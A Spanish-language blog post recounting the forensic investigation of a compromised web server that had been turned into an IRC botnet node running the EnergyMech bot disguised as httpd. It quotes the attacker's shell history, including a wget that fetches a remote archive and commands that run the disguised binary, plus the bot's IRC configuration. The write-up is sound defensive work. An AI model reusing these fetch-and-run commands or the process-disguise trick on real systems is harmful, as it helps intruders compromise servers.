sábado, 26 de abril de 2014

A brief and real malware story

Esta historia (real por sobre todas las cosas), sucedió hace ya algo mas de un año e involucro a un webserver productivo de una ONG Argentina a la cual en la empresa en la que trabajo, le hacemos mantenimiento de sistemas e infraestructura. El desencadenante del siguiente procedimiento, fue un llamado telefónico por parte del cliente, manifestando que el webserver eventualmente andaba lento, y había que determinar cual era el origen de este problema. Luego de atender los tickets previamente asignados me puse a trabajar en el caso, logueandome de manera remota al equipo (que se encontraba en un conocido datacenter de Argentina), y tras ejecutar las herramientas típicas de detección de problemas de performance y/o observación (vmstat para inspeccionar la memoria virtual, iostat para inspeccionar el IO y mpstat para inspeccionar CPU) comienzo a revisar los logs del sistema operativo, un CentOS 6.2 x86_64, en este caso. Y tras ejecutar el comando dmesg (encargado de loguear los mensajes del booteo, como así también del kernel) me encuentro con lo siguiente:
[root@foobar ~]# dmesg
TCP: Treason uncloaked! Peer 200.12.207.10:42448/80 shrinks window 1575164376:1575164377. Repaired.
TCP: Treason uncloaked! Peer 200.12.207.10:43144/80 shrinks window 1563760962:1563760963. Repaired.
TCP: Treason uncloaked! Peer 200.12.207.10:43742/80 shrinks window 1577391267:1577391268. Repaired.
printk: 7 messages suppressed.
La primera pista se hacia evidente, si bien este tipo de mensajes (impresos por el propio kernel) no presenta un problema en cuestión informa que existe una malformación (de la ventana) en paquetes TCP/IP debido normalmente a las transmisiones de un host remoto, o un problema con algún firewall/NAT existente en el mismo segmento. Si miramos bien, vamos a ver la IP del peer con el que existe el problema, asi como el puerto de origen y destino y podremos determinar que se trata de paquetes posiblemente pertenecientes a un servicio web (HTTP/Puerto TCP 80).
Cuando existen problemas de networking suele ser de muchísima utilidad (luego de revisar la salida de ethtool) capturar trafico con herramientas tales como tcpdump o snoop (en Solaris) en búsqueda de paquetes con malformaciones, retransmisiones o errores de checksum. En mi caso utilizo tcpdump con un filtro a fin de reducir la cantidad de paquetes que esta herramienta me mostraría en pantalla, dejando fuera a los paquetes involucrados con el puerto 22 (mi sesión de SSH) y el puerto 80 (servicios aplicativos web).
[root@foobar ~]# tcpdump -nli eth0 not '(port 22 or port 80)'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
20:58:17.597928 IP 181.116.133.23.arepa-cas > 190.41.80.1000.30000: UDP, length 16
20:58:17.701736 IP 181.238.144.81.arepa-cas > 190.41.80.1000.30000: UDP, length 16
20:58:17.748374 IP 186.122.245.30.arepa-cas > 190.41.80.1000.30000: UDP, length 16
20:58:17.903979 IP 186.122.244.7.arepa-cas > 190.41.80.1000.30000: UDP, length 16
20:58:17.928418 IP 190.41.80.100.33383 > 4.2.2.1.domain:  28636+ A? collector-6.newrelic.com. (42)
20:58:18.073293 IP 186.13.74.121.arepa-cas > 190.41.80.1000.30000: UDP, length 28
20:58:18.179748 IP 4.2.2.1.domain > 190.41.80.100.33383:  28636 1/0/0 A[|domain]
20:58:18.357846 IP 200.81.44.24.48084 > 190.41.80.1000.30000: UDP, length 16
20:58:26.771453 IP 186.12.36.187.3030 > 190.41.80.1000.30000: UDP, length 16
20:58:26.811460 IP 186.158.40.160.3030 > 190.41.80.1000.30000: UDP, length 16
20:58:26.815345 arp who-has 41.41.41.32 tell 41.41.41.1
20:58:26.968061 IP 207.123.37.5 > 41.41.41.35: ICMP echo request, id 9216, seq 25853, length 1400
20:58:27.044933 IP 170.51.184.78.3030 > 190.41.80.1000.30000: UDP, length 16
20:58:31.860908 IP 190.136.174.242.52228 > 190.41.80.1000.30000: UDP, length 28
20:58:31.867993 IP 186.123.191.167.3030 > 190.41.80.1000.30000: UDP, length 16
Si bien la captura era bastante mas larga, podemos ver una gran cantidad de trafico UDP (extraño en el equipo) sobre la interfaz de red publica (eth0) destacandose una query DNS al servidor publico 4.2.2.1. Continúe con el análisis tratando de determinar que tipo de trafico circulaba por el servidor, por lo cual agregue a tcpdump los flags (-X) para obtener un dump hexadecimal/ASCII de los paquetes:
[root@foobar ~]# tcpdump -nnXli eth0 not '(port 22 or port 80)' and not dst net 41.41.41.0/24
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
21:05:50.642616 IP 190.41.80.100.49621 > 4.2.2.1.53:  13964+ AAAA? Eu.Undernet.Org. (33)
        0x0000:  4500 003d 2d2a 4000 4011 e545 c833 5a0a  E..=-*@.@..E.3Z.
        0x0010:  0402 0201 c1d5 0035 0029 287b 368c 0100  .......5.)({6...
        0x0020:  0001 0000 0000 0000 0245 7508 556e 6465  .........Eu.Unde
        0x0030:  726e 6574 034f 7267 0000 1c00 01         rnet.Org.....
21:05:50.896247 IP 190.41.80.100.50733 > 4.2.2.1.53:  32542+ AAAA? Eu.Undernet.Org.org.ar. (40)
        0x0000:  4500 0044 2e27 4000 4011 e441 c833 5a0a  E..D.'@.@..A.3Z.
        0x0010:  0402 0201 c62d 0035 0030 2882 7f1e 0100  .....-.5.0(.....
        0x0020:  0001 0000 0000 0000 0245 7508 556e 6465  .........Eu.Unde
        0x0030:  726e 6574 034f 7267 036f 7267 0261 7200  rnet.Org.org.ar.
        0x0040:  001c 0001                                ....
21:05:51.244096 IP 190.41.80.100.33539 > 4.2.2.1.53:  47591+ A? Eu.Undernet.Org. (33)
        0x0000:  4500 003d 2f83 4000 4011 e2ec c833 5a0a  E..=/.@.@....3Z.
        0x0010:  0402 0201 8303 0035 0029 287b b9e7 0100  .......5.)({....
        0x0020:  0001 0000 0000 0000 0245 7508 556e 6465  .........Eu.Unde
        0x0030:  726e 6574 034f 7267 0000 0100 01         rnet.Org.....
21:05:51.493501 IP 190.41.80.100.58065 > 94.125.182.255.6666: S 4011205553:4011205553(0) win 5840 
        0x0000:  4500 003c 13cc 4000 4006 ef35 c833 5a0a  E..<..@.@..5.3Z.
        0x0010:  5e7d b6ff e2d1 1a0a ef16 23b1 0000 0000  ^}........#.....
        0x0020:  a002 16d0 e83d 0000 0204 05b4 0402 080a  .....=..........
        0x0030:  d116 307d 0000 0000 0103 0307            ..0}........
21:05:51.497494 802.1d unknown version
        0x0000:  4242 0300 0002 023c 03b6 0014 1bac 0ac0  BB.....<........
        0x0010:  0000 0004 8000 001f c934 33b6 8090 0100  .........43.....
        0x0020:  1400 0200 0f00 0000 0000 0000 0000       ..............
Dejando en evidencia que algo extraño había pasado con el equipo, evidenciando pedidos de resolución DNS de registros A y AAAA (registro de dominio a IP para IPv4/IPv6) del dominio Undernet.org que como bien sabrán, no es otra cosa que un servidor IRC. Normalmente, las botnets hacen uso de canales en servidores IRC como centro de control, al cual ingresan cada una de los equipos zombies y de esta manera el “botnet administrator” es capaz de ejecutar de manera coordinada comandos en los nodos para enviar SPAM, hacer ataques de DoS/DDoS, entre otros tantos motivos. Bien, ya sabiendo que es lo que pasaba con el servidor, lo importante era determinar quien estaba haciendo eso y/o que cuenta de usuario había sido vulnerada, así que tras varios intentos de inspeccionar la salida de netstat buscando por consultas DNS, di con lo que quería:
[root@foobar ~]# netstat -putan  | grep 4.2.2.1
udp    0    0    190.41.80.100:60954       4.2.2.1:53              ESTABLISHED 25606/httpd
El servicio httpd era quien estaba haciendo querys DNS al servidor 4.2.2.1. Ahora faltaba determinar el usuario que estaba ejecutando HTTPD.
[root@foobar ~]# ps aux | grep httpd
apache   21404  0.1  0.2 308320 48948 ?        S    17:51   0:15 /usr/sbin/httpd
apache   25626  0.1  0.2 294184 34452 ?        S    20:46   0:01 /usr/sbin/httpd
apache   25627  0.0  0.2 294160 34428 ?        S    20:46   0:01 /usr/sbin/httpd
apache   25628  0.0  0.2 294140 34084 ?        S    20:46   0:00 /usr/sbin/httpd
apache   25629  0.1  0.2 294196 34472 ?        S    20:46   0:01 /usr/sbin/httpd
apache   25630  0.1  0.2 294984 34952 ?        S    20:46   0:01 /usr/sbin/httpd
apache   25631  0.0  0.2 293376 33168 ?        S    20:46   0:01 /usr/sbin/httpd
501      30644  0.0  0.0   2212  1004 ?        Ss    2012   2:59 httpd
root     31838  0.0  0.0 269720 11760 ?        Ss   May07   0:02 /usr/sbin/httpd
Destacandose el usuario con el PID 501, quien ejecuto httpd directamente desde su terminal, ahora vamos a ver quien es este usuario:
[root@foobar ~]# grep 501 /etc/passwd
webmaster:x:501:501::/home/webmaster:/bin/bash
Siendo el usuario webmaster el que estaba ejecutando httpd, bien!. Como ya en otros posts les comente, por cada proceso que es ejecutado en el sistema operativo, se crea un directorio en el /proc con el mismo nombre que su numero de PID, donde en su interior podremos encontrar archivos con información variable respecto a el proceso (entorno, nombre de ejecución, stack, file descriptos abiertos, etc.). Por lo cual vamos a explorar al proceso 30644 tratando de determinar principalmente su entorno:
[root@foobar ~]# cd /proc/30644/
HOSTNAME=foobar.org.arTERM=xtermSHELL=/bin/bashHISTSIZE=1000SSH_CLIENT=92.81.171.84 49258 22OLDPWD=/home/webmasterSSH_TTY=/dev/pts/0USER=webmasterLS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:MAIL=/var/spool/mail/webmasterPATH=:/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/home/webmaster/binINPUTRC=/etc/inputrcPWD=/home/webmaster/.gLANG=es_ES.UTF-8SHLVL=1HOME=/home/webmasterLOGNAME=webmasterSSH_CONNECTION=92.81.171.84 49258 190.41.80.100 22LESSOPEN=|/usr/bin/lesspipe.sh %sG_BROKEN_FILENAMES=1_=./httpd
Lo que vemos es el entorno del usuario regular webmaster, que como podemos observar en la variable SSH_CONNECTION estableció conexión desde la IP 92.81.171.84. Como seguramente recordaran en Unix todo es un archivo y Linux no es la excepción a la regla, todo proceso al momento de ser creado, mapea 3 file descriptors para poder manejar la entrada estandar (STDIN/FD 0), la salida estandar (STDOUT/FD 1) y la salida de errores (STDERR/FD 2) siendo 1, 2 y 3 los nombres desde el sistema de archivos de estos file descriptors y el directorio /proc el lugar donde podemos hacer evidentes estos mappings. Vamos a explorar que file descriptors abre httpd:
[root@foobar 30644]# cd /proc/30644/fd
[root@foobar fd]# ls -al
total 0
dr-x------ 2 webmaster webmaster  0 May 17 20:46 .
dr-xr-xr-x 6 webmaster webmaster  0 May 17 06:00 ..
l-wx------ 1 webmaster webmaster 64 May 17 20:46 0 -> /home/webmaster/.g/LinkEvents
lrwx------ 1 webmaster webmaster 64 May 17 20:46 3 -> socket:[44595140]
Donde inmediatamente nos llama la atención la entrada estandar (STDIN/FD 0) del proceso 30644, la cual proviene del archivo /home/webmaster/.g/LinkEvents y el socket referente a la conexión a la red IRC Undernet por parte del software en si. Vamos a ver que tiene el archivo LinkEvents:
[root@foobar fd]# cat /home/webmaster/.g/LinkEvents
1342760162  EnergyMech started...
1342769294  New Nick    Gabot2___  -> Gabot2
1342769358  New Nick    Gabot2__   -> mireasa
1344981802  New Nick    mireasa_   -> mireasa
1346226253  New Nick    mireasa    -> NiGGa-
1346255842  New Nick    NiGGa-     -> NiGGa
1346323093  New Nick    NiGGa__    -> NiGGa
1346328124  New Nick    NiGGa__    -> NiGGa
1346595142  New Nick    NiGGa__    -> NiGGa
1368829534  New Nick    NiGGa_     -> NiGGa

[root@foobar fd]# date -s @1368836165
Fri May 17 21:16:05 ART 2013
Lo que tenemos en este archivo son los cambios de nickname en el servidor IRC del cliente de la botnet, y la fecha donde se produjeron estos cambios en Unix delta time, al cual si convertimos a calendario Gregoriano vemos que es reciente a la fecha de análisis (Mayo de 2013). Tambien se puede notar que el atacante, creo un directorio "oculto" (no listable en la salida regular del comando ls) denominado .g/, con el objetivo de esconder aun mas su ataque al ojo de los administradores del equipo, el cual vamos a explorar a continuación:
[root@foobar fd]# cd /home/webmaster/.g/
[root@foobar .g]# pwd && ls -al
/home/webmaster/.g
total 2584
drwxr-xr-x 3 webmaster webmaster    4096 Jul 20  2012 .
drwx------ 3 webmaster webmaster    4096 Jul 20  2012 ..
-rw-r--r-- 1 webmaster webmaster     249 Jul 20  2012 1
-rw-r--r-- 1 webmaster webmaster     249 May 10 19:00 2
-rwxr-xr-x 1 webmaster webmaster  418490 Dec  2  2005 bsd
-rw-r--r-- 1 webmaster webmaster     941 Dec  2  2005 checkmech
-rw-r--r-- 1 webmaster webmaster   23237 May 15  2003 configure
-rw-rw-r-- 1 webmaster webmaster       0 Jul 20  2012 Gabot1.seen
-rw-rw-r-- 1 webmaster webmaster   82401 May 17 09:20 Gabot2.seen
-rwxr-xr-x 1 webmaster webmaster  397274 Dec  2  2005 httpd
-rw-r--r-- 1 webmaster webmaster 1584304 May 17 21:17 LinkEvents
-rw-r--r-- 1 webmaster webmaster    2154 May 15  2003 Makefile
-rw-r--r-- 1 webmaster webmaster    1054 May 17 21:00 m.lev
-rw------- 1 webmaster webmaster       6 Jul 20  2012 m.pid
-rw-rw-r-- 1 webmaster webmaster    2166 May 17 21:00 m.ses
-rw-r--r-- 1 webmaster webmaster    2990 Jan 11  2012 m.set
drwxr-xr-x 2 webmaster webmaster    4096 Jan 15  2008 r
Aquí nos llama la atención el archivo ejecutable httpd, el cual no es otra cosa que un archivo regular binario (con permisos 755) intentando camuflarse ante el listado de procesos de servicios web (que verderamente sirve el equipo). Posiblemente si el servidor hosteara sitios FTP, este binario se llamaría ftpd o similar. El resto de los archivos corresponden a logs y/o archivos de configuración del cliente de la botnet.
Como seguimos buscando evidencia, ahora vamos a explorar el entorno del usuario webmaster, siendo su archivo ~/.bash_history el primer lugar donde buscaremos:
[root@foobar ~]# cat /home/webmaster/bash_history
    1  cd smtp
    2  chmod +x *
    3  ./start 32 100 200
    4  cd .x
    5  chmod +x *
    6  ./sendeb.pl
    7  w
    8  passwd
    9  ps x
   10  ls -a
   11  cd ldap
   12  cd /home/webmaster
   13  cd .x
   14  cd /home/webmaster
   15  ls -a
   16  cd ldap
   17  ls
   18  cat vuln.txt
   19  cd /home/webmaster
   20  ls
   21  rm -rf ldap.tgz
   22  rm -rf ldap
   23  ps x
   24  wget <
   25  tar xvf gabor.gz
   26  rm -rf gabor.gz
   27  cd .g
   28  export PATH=:$PATH;httpd
   29  w
   30  ps x
   31  ls -a
   32  kill - 9 -1 30362
   33  rm -rf .x
   34  rm -rf .g
   35  wget http://members.lycos.co.uk/tbthathug/gabor.gz
   36  tar xvf gabor.gz
   37  rm -rf gabor.gz
   38  cd .g
   39  export PATH=:$PATH;httpd
Vemos que lo que hizo nuestro querido atacante al ganar acceso al equipo, fue cambiar la contraseña del usuario webmaster, para así continuar asegurando el acceso al equipo (mediante SSH), y luego descargar el siguiente archivo: http://members.lycos.co.uk/tbthathug/gabor.gz, descomprimirlo y crear una nueva variable de entorno PATH para poder ejecutar el binario httpd, obviamente se olvido de borrar el ~/.bash_history :-P aunque es notable que esta editado.
Al continuar inspeccionando los archivos de configuración de la botnet, dentro del directorio /home/webmaster/.g, encontré el archivo m.ses, que al verlo nos da bastante información respecto a la conexión IRC de la que el cliente hace uso:
[root@foobar .g]# head -n 50 m.ses 
linkport -1
hasonotice

nick NiGGa
login nunu
ircname nunu
modes +ix-ws
service x@channels.undernet.org login user pass
cmdchar .
userfile 2

set BANMODES 6
set OPMODES 6
set CTIMEOUT 60
set CDELAY 30
tog SPY 1
channel #crisan 

server Budapest.Hu.Eu.Undernet.org 6666 
server mesa2.az.us.undernet.org 7000 
server SantaAna.CA.US.Undernet.org 6667 
server Tampa.FL.US.Undernet.org 6660 
server London.UK.Eu.Undernet.Org 6660 
server London2.UK.EU.Undernet.Org 6660 
server LosAngeles.CA.US.Undernet.org 7000 
server newyork.ny.us.undernet.org 7000 
server Diemen.NL.EU.Undernet.Org 6660 
server Helsinki.FI.EU.Undernet.org 7000 
Tal como podemos ver, el cliente tiene un pool de servidores IRC (FQDN, y el puerto en el que el servidor escucha) de la red Undernet a los que conectar, configurando cuestiones tales como su nickname (NiGGa), login (nunu), ircname (nunu), así como también, el canal al que ingresa: #crisan. Por lo cual, con un cliente de IRC (como Irssi) podemos conectar al canal #crisan en el servidor Budapest.Hu.Eu.Undernet.org:
20:52  tty0 (~0x4141414@foobar.me) has joined #crisan
20:52  Irssi: #crisan: Total of 14 nicks (1 ops, 0 halfops, 0 voices, 13 normal)
20:52  Irssi: Join to #crisan was synced in 1 secs
20:52 < tty0> is somebody here?
20:55  Slim_ (~puya@183.129.173.214) has joined #crisan
20:55  Slim_ (~puya@183.129.173.214) has quit (G-lined (AUTO [1] DNSBL listed. Check www.dronebl.org/lookup_branded?network=UnderNet for removal. Your IP is 183.129.173.214))
Bingo! conectamos al IRC donde la botnet es manejada (su "centro de control"), vemos que hay 12 equipos conectados, siendo presumiblemente todos clientes, y tal como vemos el mensaje de quit del cliente Slim_, estos realizan chequeos de DNSBL (o DNS blacklist), utilizadas por los servidores de correo para verificar si una IP o dominio que envía correos se encuentra dentro de una lista negra de spammers, por lo cual es probable que hayamos sido utilizados con el objetivo de enviar SPAM y presumiblemente nuestra IP (del servidor web), se encuentre en una DNSBL (o este en proceso de pertenecer), siendo necesario efectuar un tramite (normalmente via email) para deslistarnos de ella o aun peor, teniendo que pagar para deslistarnos.
Posiblemente, una de las ultimas cosas que nos gustaría saber es conocer que software nuestro atacante utilizo para hacernos zombies de dicha botnet, dentro del directorio /home/webmaster/.g encontramos el archivo configure, donde al imprimir el header de este encontramos:
[root@foobar .g]# head -50 configure 
# !/bin/sh
#
#   EnergyMech, IRC Bot software <--- Just check that: http://www.energymech.net
#   Copyright (c) 1997-2001 proton, 2002-2003 emech-dev
#
#   This program is free software; you can redistribute it and/or modify
#   it under the terms of the GNU General Public License as published by
#   the Free Software Foundation; either version 2 of the License, or
#   (at your option) any later version.
#
...
El nombre (EnergyMech) y la URL del mismo: http://www.energymech.net/, dicha URL (a la fecha de hoy, funcionando), nos dice brevemente en la descripcion del programa lo siguiente:
The EnergyMech is a UNIX compatible IRC bot programmed in the C language, freely distributable under GNU General Public License (GPL). On this website you can find the largest EnergyMech resource and help library on the Internet. If you wish to know more about what an EnergyMech can do, please go on to the features page, where the features are described more in detail.
Entre las features, podemos destacar que EnergyMech (y según la página del propio proyecto) podemos destacar que compila en la mayor parte de los sistemas Unix (como Linux, FreeBSD o Solaris). Se encuentra escrito en lenguaje C, es liviano. (lo que lo hace sumamente portable). Soporta un montón de lenguajes de scripting para extender sus funcionalidades tales como Perl y Python. Ademas consume muy pocos recursos de CPU y memoria para hacerlo aun mas facil de camuflarse entre los procesos del sistema operativo ademas dispone también la posibilidad de funcionar como proxy IRC. En fin, el misterio esta resuelto, solo resta saber como entraron... Y bueno, a veces las aplicaciones web no están bien desarrolladas, los clientes no siguen las recomendaciones mínimas de seguridad y cosas como estas pueden pasar bastante seguido.

7 comentarios:

  1. Excelente post!! Muy bien comentado y explicado el camino. Cosas que vemos en el día a día y está bueno compartirlas mas allá de una charla con birras de por medio. Abrazo Facu!

    ResponderEliminar
    Respuestas
    1. Gracias Puky!!, un placer que usted, un tipo que sabe, me diga eso. Abrazo grande!.

      Eliminar
  2. Muy buen post Facundo! Sería bueno saber como entraron,quizá es otro desafío que dispare la parte 2 de este post, no? (no quiero meter presión eh!) . Felicitaciones y seguí posteando!

    ResponderEliminar
    Respuestas
    1. Muchas gracias Hernan. El cliente donde paso esto, tiene un servicio de soporte con intervenciones ante eventos y no de manera regular (aunque cada tanto nos damos una vuelta le revisamos filesystems, y logs), lo cual hizo que el inconveniente se detecte tarde y cuando esto paso, los logs habían rotado (según el logrotated, estos se mantenían 4 semanas), al haber sucedido la rotación los logs de httpd ya no estaban y gran parte de lo sucedido se habia ido. De cualquier forma, por lo que pude determinar ingresaron mediante un LFI por la webapp que allí se ejecuta.

      Eliminar
  3. Muy bueno el articulo Facu.. he tenido que hacer de estos debuggings un par de veces pero nunca se me ocurrió capturar las pantallas y escribir un articulo. La próxima vez voy a intentar hacerlo! Abrazo!

    ResponderEliminar
  4. Gran trabajo y muy didáctico!!, te lo digo yo que nunca toque un sistema UNIX y apenas estoy empezando en el mundo Linux.

    ResponderEliminar
  5. It was very nice article and it is very useful to Linux learners.We also provide Linux online training

    ResponderEliminar